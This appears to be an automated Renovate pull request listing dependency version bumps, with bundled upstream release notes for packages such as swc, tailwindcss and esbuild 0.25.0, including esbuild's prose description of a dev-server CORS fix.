| [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`17.0.0` -> `17.0.2`](https://renovatebot.com/diffs/npm/happy-dom/17.0.0/17.0.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/happy-dom/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/happy-dom/17.0.0/17.0.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [ioredis](https://redirect.github.com/luin/ioredis) | [`5.4.2` -> `5.5.0`](https://renovatebot.com/diffs/npm/ioredis/5.4.2/5.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/ioredis/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/ioredis/5.4.2/5.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [link-preview-js](https://redirect.github.com/ospfranco/link-preview-js) | [`3.0.13` -> `3.0.14`](https://renovatebot.com/diffs/npm/link-preview-js/3.0.13/3.0.14) | [![age](https://developer.mend.io/api/mc/badges/age/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/link-preview-js/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/link-preview-js/3.0.13/3.0.14?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.474.0` -> `^0.475.0`](https://renovatebot.com/diffs/npm/lucide-react/0.474.0/0.475.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.474.0/0.475.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [marked](https://marked.js.org) ([source](https://redirect.github.com/markedjs/marked)) | [`15.0.6` -> `15.0.7`](https://renovatebot.com/diffs/npm/marked/15.0.6/15.0.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/marked/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/marked/15.0.6/15.0.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [nestjs-cls](https://papooch.github.io/nestjs-cls/) ([source](https://redirect.github.com/Papooch/nestjs-cls)) | [`5.0.1` -> `5.1.2`](https://renovatebot.com/diffs/npm/nestjs-cls/5.0.1/5.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/nestjs-cls/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/nestjs-cls/5.0.1/5.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [once_cell](https://redirect.github.com/matklad/once_cell) | `1.20.2` -> `1.20.3` | [![age](https://developer.mend.io/api/mc/badges/age/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/once_cell/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/once_cell/1.20.2/1.20.3?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | patch |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [prettier](https://prettier.io) ([source](https://redirect.github.com/prettier/prettier)) | [`3.4.2` -> `3.5.0`](https://renovatebot.com/diffs/npm/prettier/3.4.2/3.5.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/prettier/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/prettier/3.4.2/3.5.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [react-virtuoso](https://virtuoso.dev/) ([source](https://redirect.github.com/petyosi/react-virtuoso)) | [`4.12.3` -> `4.12.5`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.3/4.12.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-virtuoso/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-virtuoso/4.12.3/4.12.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [tailwindcss](https://tailwindcss.com) ([source](https://redirect.github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss)) | [`4.0.4` -> `4.0.5`](https://renovatebot.com/diffs/npm/tailwindcss/4.0.4/4.0.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/tailwindcss/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/tailwindcss/4.0.4/4.0.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [typedoc](https://typedoc.org) ([source](https://redirect.github.com/TypeStrong/TypeDoc)) | [`0.27.6` -> `0.27.7`](https://renovatebot.com/diffs/npm/typedoc/0.27.6/0.27.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.27.6/0.27.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [uniffi](https://mozilla.github.io/uniffi-rs) ([source](https://redirect.github.com/mozilla/uniffi-rs)) | `0.28` -> `0.29` | [![age](https://developer.mend.io/api/mc/badges/age/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/crate/uniffi/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/crate/uniffi/0.28.3/0.29.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | workspace.dependencies | minor |

---

### Release Notes

<details>
<summary>aws/aws-sdk-js-v3 (@&#8203;aws-sdk/client-s3)</summary>

### [`v3.744.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37440-2025-02-07)

[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.743.0...v3.744.0)

**Note:** Version bump only for package [@&#8203;aws-sdk/client-s3](https://redirect.github.com/aws-sdk/client-s3)

</details>

<details>
<summary>Cap-go/capacitor-inappbrowser (@&#8203;capgo/inappbrowser)</summary>

### [`v7.2.15`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7215-2025-02-10)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.14...7.2.15)

### [`v7.2.14`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.13...7.2.14)

### [`v7.2.13`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7213-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.9...7.2.13)

### [`v7.2.9`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#729-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.8...7.2.9)

### [`v7.2.8`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#728-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.7...7.2.8)

### [`v7.2.7`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#727-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.6...7.2.7)

### [`v7.2.6`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#726-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.5...7.2.6)

### [`v7.2.5`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#725-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.4...7.2.5)

### [`v7.2.4`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#724-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.3...7.2.4)

### [`v7.2.3`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#723-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.2...7.2.3)

### [`v7.2.2`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#722-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.1...7.2.2)

### [`v7.2.1`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#7214-2025-02-09)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.2.0...7.2.1)

### [`v7.2.0`](https://redirect.github.com/Cap-go/capacitor-inappbrowser/blob/HEAD/CHANGELOG.md#720-2025-02-08)

[Compare Source](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.6...7.2.0)

##### Features

-   add ability to close webview from javascript on ios ([5034997](50349975e5))
-   add close function to unified javascript interface ([c3d9079](c3d9079cab))
-   close webview with window.AndroidInterface.close() from within ([c5eae97](c5eae97a6a))

##### Bug Fixes

-   add better doc for 2 way com ([171ea27](171ea27931))
-   add warning ([84470ae](84470ae1c3))
-   allow inline video ([1368f2a](1368f2a4f0))
-   better definition ([588cc88](588cc88438))
-   CICD ([ee7ef04](ee7ef0430a))
-   order of doc ([71d8923](71d8923996))
-   versions ([941aabe](941aabee33))

##### [7.1.6](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.5...7.1.6) (2025-02-02)

##### Bug Fixes

-   lint ([d3df47c](d3df47cfef))

##### [7.1.5](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.4...7.1.5) (2025-02-01)

##### Bug Fixes

-   build ([89cd832](89cd832f96))

##### [7.1.4](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.3...7.1.4) (2025-02-01)

##### Bug Fixes

-   remove READ_MEDIA_IMAGES ([e30874e](e30874ebe1))

##### [7.1.3](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.2...7.1.3) (2025-02-01)

##### Bug Fixes

-   async thread ([df0bb19](df0bb198a6))

##### [7.1.2](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.1...7.1.2) (2025-02-01)

##### Bug Fixes

-   Fixed back_arrow being displayed correctly instead of close_icon ([0516043](0516043312))
-   openWebView has stopped hiding the phone's status bar. ([465a035](465a03561f))
-   openWebView has stopped hiding the phone's status bar. ([6154e54](6154e5422c))
-   openWebView has stopped hiding the phone's status bar. ([ec6a9c2](ec6a9c2205))

##### [7.1.1](https://redirect.github.com/Cap-go/capacitor-inappbrowser/compare/7.1.0...7.1.1) (2025-01-27)

</details>

<details>
<summary>eslint/eslint (@&#8203;eslint/js)</summary>

### [`v9.20.0`](https://redirect.github.com/eslint/eslint/compare/v9.19.0...031734efcb27e0d800da7ec32f5d5dae55f80564)

[Compare Source](https://redirect.github.com/eslint/eslint/compare/v9.19.0...v9.20.0)

</details>

<details>
<summary>swc-project/swc (@&#8203;swc/core)</summary>

### [`v1.10.15`](https://redirect.github.com/swc-project/swc/blob/HEAD/CHANGELOG.md#11015---2025-02-08)

[Compare Source](https://redirect.github.com/swc-project/swc/compare/v1.10.14...v1.10.15)

##### Bug Fixes

-   **(es/fixer)** Wrap object tagged templates ([#&#8203;9991](https://redirect.github.com/swc-project/swc/issues/9991)) ([963c3a5](963c3a58c8))

-   **(es/minifier)** Dont't optimize swtich case before DCE ([#&#8203;9994](https://redirect.github.com/swc-project/swc/issues/9994)) ([afe21b5](afe21b5e71))

-   **(es/minifier)** Revert [#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006) ([#&#8203;10007](https://redirect.github.com/swc-project/swc/issues/10007)) ([7e21323](7e21323b3b))

-   **(es/parser, es/codegen)** Handle trailing empty slots in array patterns ([#&#8203;9992](https://redirect.github.com/swc-project/swc/issues/9992)) ([1a87e76](1a87e76e95))

-   **(es/react)** Avoid adding `__self` in constructors of derived class in the `jsx_self` ([#&#8203;9987](https://redirect.github.com/swc-project/swc/issues/9987)) ([83f24af](83f24afad9))

##### Features

-   **(es/ast)** Add `ShrinkToFit` implementation ([#&#8203;10009](https://redirect.github.com/swc-project/swc/issues/10009)) ([6849b6a](6849b6aba7))

-   **(es/helpers)** Update package exports for module-sync and webpack compatibility ([#&#8203;9995](https://redirect.github.com/swc-project/swc/issues/9995)) ([6f4e7ad](6f4e7adce4))

-   **(fast-ts)** Support Uint8Array Input ([#&#8203;9879](https://redirect.github.com/swc-project/swc/issues/9879)) ([61ae579](61ae579a1c))

##### Performance

-   **(es/codegen)** Remove needless allocations ([#&#8203;9978](https://redirect.github.com/swc-project/swc/issues/9978)) ([9c89d57](9c89d57cf9))

-   **(es/minifier)** Do not clone from `take_ident_of_pat_if_unused` ([#&#8203;10005](https://redirect.github.com/swc-project/swc/issues/10005)) ([dc3b46e](dc3b46eff9))

-   **(es/minifier)** Allocate in once from `mark_property_mutation` ([#&#8203;10004](https://redirect.github.com/swc-project/swc/issues/10004)) ([4a90e51](4a90e5197d))

-   **(es/minifier)** Limit infection analysis by the entry size ([#&#8203;10006](https://redirect.github.com/swc-project/swc/issues/10006)) ([1a3a4b9](1a3a4b936c))

-   **(es/minifier)** Make the default pass 2 ([#&#8203;10014](https://redirect.github.com/swc-project/swc/issues/10014)) ([07dc423](07dc423b7f))

</details>

<details>
<summary>tailwindlabs/tailwindcss (@&#8203;tailwindcss/postcss)</summary>

### [`v4.0.5`](https://redirect.github.com/tailwindlabs/tailwindcss/blob/HEAD/CHANGELOG.md#405---2025-02-08)

[Compare Source](https://redirect.github.com/tailwindlabs/tailwindcss/compare/v4.0.4...v4.0.5)

##### Added

-   Add `@theme static` option for always including theme variables in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

##### Fixed

-   Remove rogue `console.log` from `@tailwindcss/vite` ([#&#8203;16307](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16307))

##### Changed

-   Don't include theme variables that aren't used in compiled CSS ([#&#8203;16211](https://redirect.github.com/tailwindlabs/tailwindcss/pull/16211))

</details>

<details>
<summary>vitejs/vite-plugin-react-swc (@&#8203;vitejs/plugin-react-swc)</summary>

### [`v3.8.0`](https://redirect.github.com/vitejs/vite-plugin-react-swc/blob/HEAD/CHANGELOG.md#380)

[Compare Source](https://redirect.github.com/vitejs/vite-plugin-react-swc/compare/v3.7.2...v3.8.0)

##### Add useAtYourOwnRisk_mutateSwcOptions option

The future of Vite is with OXC, and from the beginning this was a design choice to not exposed too many specialties from SWC so that Vite React users can move to another transformer later.
Also debugging why some specific version of decorators with some other unstable/legacy feature doesn't work is not fun, so we won't provide support for it, hence the name `useAtYourOwnRisk`.

```ts
react({
  useAtYourOwnRisk_mutateSwcOptions(options) {
    options.jsc.parser.decorators = true;
    options.jsAc.transform.decoratorVersion = "2022-03";
  },
});
```

</details>

<details>
<summary>evanw/esbuild (esbuild)</summary>

### [`v0.25.0`](https://redirect.github.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#v0250)

[Compare Source](https://redirect.github.com/evanw/esbuild/compare/v0.24.2...v0.25.0)

**This release deliberately contains backwards-incompatible changes.** To avoid automatically picking up releases like this, you should either be pinning the exact version of `esbuild` in your `package.json` file (recommended) or be using a version range syntax that only accepts patch upgrades such as `^0.24.0` or `~0.24.0`. See npm's documentation about [semver](https://docs.npmjs.com/cli/v6/using-npm/semver/) for more information.

-   Restrict access to esbuild's development server ([GHSA-67mh-4wv8-2f99](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99))

    This change addresses esbuild's first security vulnerability report. Previously esbuild set the `Access-Control-Allow-Origin` header to `*` to allow esbuild's development server to be flexible in how it's used for development. However, this allows the websites you visit to make HTTP requests to esbuild's local development server, which gives read-only access to your source code if the website were to fetch your source code's specific URL. You can read more information in [the report](https://redirect.github.com/evanw/esbuild/security/advisories/GHSA-67mh-4wv8-2f99).

    Starting with this release, [CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS) will now be disabled, and requests will now be denied if the host does not match the one provided to `--serve=`. The default host is `0.0.0.0`, which refers to all of the IP addresses that represent the local machine (e.g. both `127.0.0.1` and `192.168.0.1`). If you want to customize anything about esbuild's development server, you can [put a proxy in front of esbuild](https://esbuild.github.io/api/#serve-proxy) and modify the incoming and/or outgoing requests.

    In addition, the `serve()` API call has been changed to return an array of `hosts` instead of a single `host` string. This makes it possible to determine all of the hosts that esbuild's development server will accept.

    Thanks to [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) for reporting this issue.

-   Delete output files when a build fails in watch mode ([#&#8203;3643](https://redirect.github.com/evanw/esbuild/issues/3643))

    It has been requested for esbuild to delete files when a build fails in watch mode. Previously esbuild left the old files in place, which could cause people to not immediately realize that the most recent build failed. With this release, esbuild will now delete all output files if a rebuild fails. Fixing the build error and triggering another rebuild will restore all output files again.

-   Fix correctness issues with the CSS nesting transform ([#&#8203;3620](https://redirect.github.com/evanw/esbuild/issues/3620), [#&#8203;3877](https://redirect.github.com/evanw/esbuild/issues/3877), [#&#8203;3933](https://redirect.github.com/evanw/esbuild/issues/3933), [#&#8203;3997](https://redirect.github.com/evanw/esbuild/issues/3997), [#&#8203;4005](https://redirect.github.com/evanw/esbuild/issues/4005), [#&#8203;4037](https://redirect.github.com/evanw/esbuild/pull/4037), [#&#8203;4038](https://redirect.github.com/evanw/esbuild/pull/4038))

    This release fixes the following problems:

    -   Naive expansion of CSS nesting can result in an exponential blow-up of generated CSS if each nesting level has multiple selectors. Previously esbuild sometimes collapsed individual nesting levels using `:is()` to limit expansion. However, this collapsing wasn't correct in some cases, so it has been removed to fix correctness issues.

        ```css
        /* Original code */
        .parent {
          > .a,
          > .b1 > .b2 {
            color: red;
          }
        }

        /* Old output (with --supported:nesting=false) */
        .parent > :is(.a, .b1 > .b2) {
          color: red;
        }

        /* New output (with --supported:nesting=false) */
        .parent > .a,
        .parent > .b1 > .b2 {
          color: red;
        }
        ```

        Thanks to [@&#8203;tim-we](https://redirect.github.com/tim-we) for working on a fix.

    -   The `&` CSS nesting selector can be repeated multiple times to increase CSS specificity. Previously esbuild ignored this possibility and incorrectly considered `&&` to have the same specificity as `&`. With this release, this should now work correctly:

        ```css
        /* Original code (color should be red) */
        div {
          && { color: red }
          & { color: blue }
        }

        /* Old output (with --supported:nesting=false) */
        div {
          color: red;
        }
        div {
          color: blue;
        }

        /* New output (with --supported:nesting=false) */
        div:is(div) {
          color: red;
        }
        div {
          color: blue;
        }
        ```

        Thanks to [@&#8203;CPunisher](https://redirect.github.com/CPunisher) for working on a fix.

    -   Previously transforming nested CSS incorrectly removed leading combinators from within pseudoclass selectors such as `:where()`. This edge case has been fixed and how has test coverage.

        ```css
        /* Original code */
        a b:has(> span) {
          a & {
            color: green;
          }
        }

        /* Old output (with --supported:nesting=false) */
        a :is(a b:has(span)) {
          color: green;
        }

        /* New output (with --supported:nesting=false) */
        a :is(a b:has(> span)) {
          color: green;
        }
        ```

        This fix was contributed by [@&#8203;NoremacNergfol](https://redirect.github.com/NoremacNergfol).

    -   The CSS minifier contains logic to remove the `&` selector when it can be implied, which happens when there is only one and it's the leading token. However, this logic was incorrectly also applied to selector lists inside of pseudo-class selectors such as `:where()`. With this release, the minifier will now avoid applying this logic in this edge case:

        ```css
        /* Original code */
        .a {
          & .b { color: red }
          :where(& .b) { color: blue }
        }

        /* Old output (with --minify) */
        .a{.b{color:red}:where(.b){color:#&#8203;00f}}

        /* New output (with --minify) */
        .a{.b{color:red}:where(& .b){color:#&#8203;00f}}
        ```

-   Fix some correctness issues with source maps ([#&#8203;1745](https://redirect.github.com/evanw/esbuild/issues/1745), [#&#8203;3183](https://redirect.github.com/evanw/esbuild/issues/3183), [#&#8203;3613](https://redirect.github.com/evanw/esbuild/issues/3613), [#&#8203;3982](https://redirect.github.com/evanw/esbuild/issues/3982))

    Previously esbuild incorrectly treated source map path references as file paths instead of as URLs. With this release, esbuild will now treat source map path references as URLs. This fixes the following problems with source maps:

    -   File names in `sourceMappingURL` that contained a space previously did not encode the space as `%20`, which resulted in JavaScript tools (including esbuild) failing to read that path back in when consuming the generated output file. This should now be fixed.

    -   Absolute URLs in `sourceMappingURL` that use the `file://` scheme previously attempted to read from a folder called `file:`. These URLs should now be recognized and parsed correctly.

    -   Entries in the `sources` array in the source map are now treated as URLs instead of file paths. The correct behavior for this is much more clear now that source maps has a [formal specification](https://tc39.es/ecma426/). Many thanks to those who worked on the specification.

-   Fix incorrect package for `@esbuild/netbsd-arm64` ([#&#8203;4018](https://redirect.github.com/evanw/esbuild/issues/4018))

    Due to a copy+paste typo, the binary published to `@esbuild/netbsd-arm64` was not actually for `arm64`, and didn't run in that environment. This release should fix running esbuild in that environment (NetBSD on 64-bit ARM). Sorry about the mistake.

-   Fix a minification bug with bitwise operators and bigints ([#&#8203;4065](https://redirect.github.com/evanw/esbuild/issues/4065))

    This change removes an incorrect assumption in esbuild that all bitwise operators result in a numeric integer. That assumption was correct up until the introduction of bigints in ES2020, but is no longer correct because almost all bitwise operators now operate on both numbers and bigints. Here's an example of the incorrect minification:

    ```js
    // Original code
    if ((a & b) !== 0) found = true

    // Old output (with --minify)
    a&b&&(found=!0);

    // New output (with --minify)
    (a&b)!==0&&(found=!0);
    ```

-   Fix esbuild incorrectly rejecting valid TypeScript edge case ([#&#8203;4027](https://redirect.github.com/evanw/esbuild/issues/4027))

    The following TypeScript code is valid:

    ```ts
    export function open(async?: boolean): void {
      console.log(async as boolean)
    }
    ```

    Before this version, esbuild would fail to parse this with a syntax error as it expected the token sequence `async as ...` to be the start of an async arrow function expression `async as => ...`. This edge case should be parsed correctly by esbuild starting with this release.

-   Transform BigInt values into constructor calls when unsupported ([#&#8203;4049](https://redirect.github.com/evanw/esbuild/issues/4049))

    Previously esbuild would refuse to compile the BigInt literals (such as `123n`) if they are unsupported in the configured target environment (such as with `--target=es6`). The rationale was that they cannot be polyfilled effectively because they change the behavior of JavaScript's arithmetic operators and JavaScript doesn't have operator overloading.

    However, this prevents using esbuild with certain libraries that would otherwise work if BigInt literals were ignored, such as with old versions of the [`buffer` library](https://redirect.github.com/feross/buffer) before the library fixed support for running in environments without BigInt support. So with this release, esbuild will now turn BigInt literals into BigInt constructor calls (so `123n` becomes `BigInt(123)`) and generate a warning in this case. You can turn off the warning with `--log-override:bigint=silent` or restore the warning to an error with `--log-override:bigint=error` if needed.

-   Change how `console` API dropping works ([#&#8203;4020](https://redirect.github.com/evanw/esbuild/issues/4020))

    Previously the `--drop:console` feature replaced all method calls off of the `console` global with `undefined` regardless of how long the property access chain was (so it applied to `console.log()` and `console.log.call(console)` and `console.log.not.a.method()`). However, it was pointed out that this breaks uses of `console.log.bind(console)`. That's also incompatible with Terser's implementation of the feature, which is where this feature originally came from (it does support `bind`). So with this release, using this feature with esbuild will now only replace one level of method call (unless extended by `call` or `apply`) and will replace the method being called with an empty function in complex cases:

    ```js
    // Original code
    const x = console.log('x')
    const y = console.log.call(console, 'y')
    const z = console.log.bind(console)('z')

    // Old output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (void 0)("z");

    // New output (with --drop-console)
    const x = void 0;
    const y = void 0;
    const z = (() => {
    }).bind(console)("z");
    ```

    This should more closely match Terser's existing behavior.

-   Allow BigInt literals as `define` values

    With this release, you can now use BigInt literals as define values, such as with `--define:FOO=123n`. Previously trying to do this resulted in a syntax error.

-   Fix a bug with resolve extensions in `node_modules` ([#&#8203;4053](https://redirect.github.com/evanw/esbuild/issues/4053))

    The `--resolve-extensions=` option lets you specify the order in which to try resolving implicit file extensions. For complicated reasons, esbuild reorders TypeScript file extensions after JavaScript ones inside of `node_modules` so that JavaScript source code is always preferred to TypeScript source code inside of dependencies. However, this reordering had a bug that could accidentally change the relative order of TypeScript file extensions if one of them was a prefix of the other. That bug has been fixed in this release. You can see the issue for details.

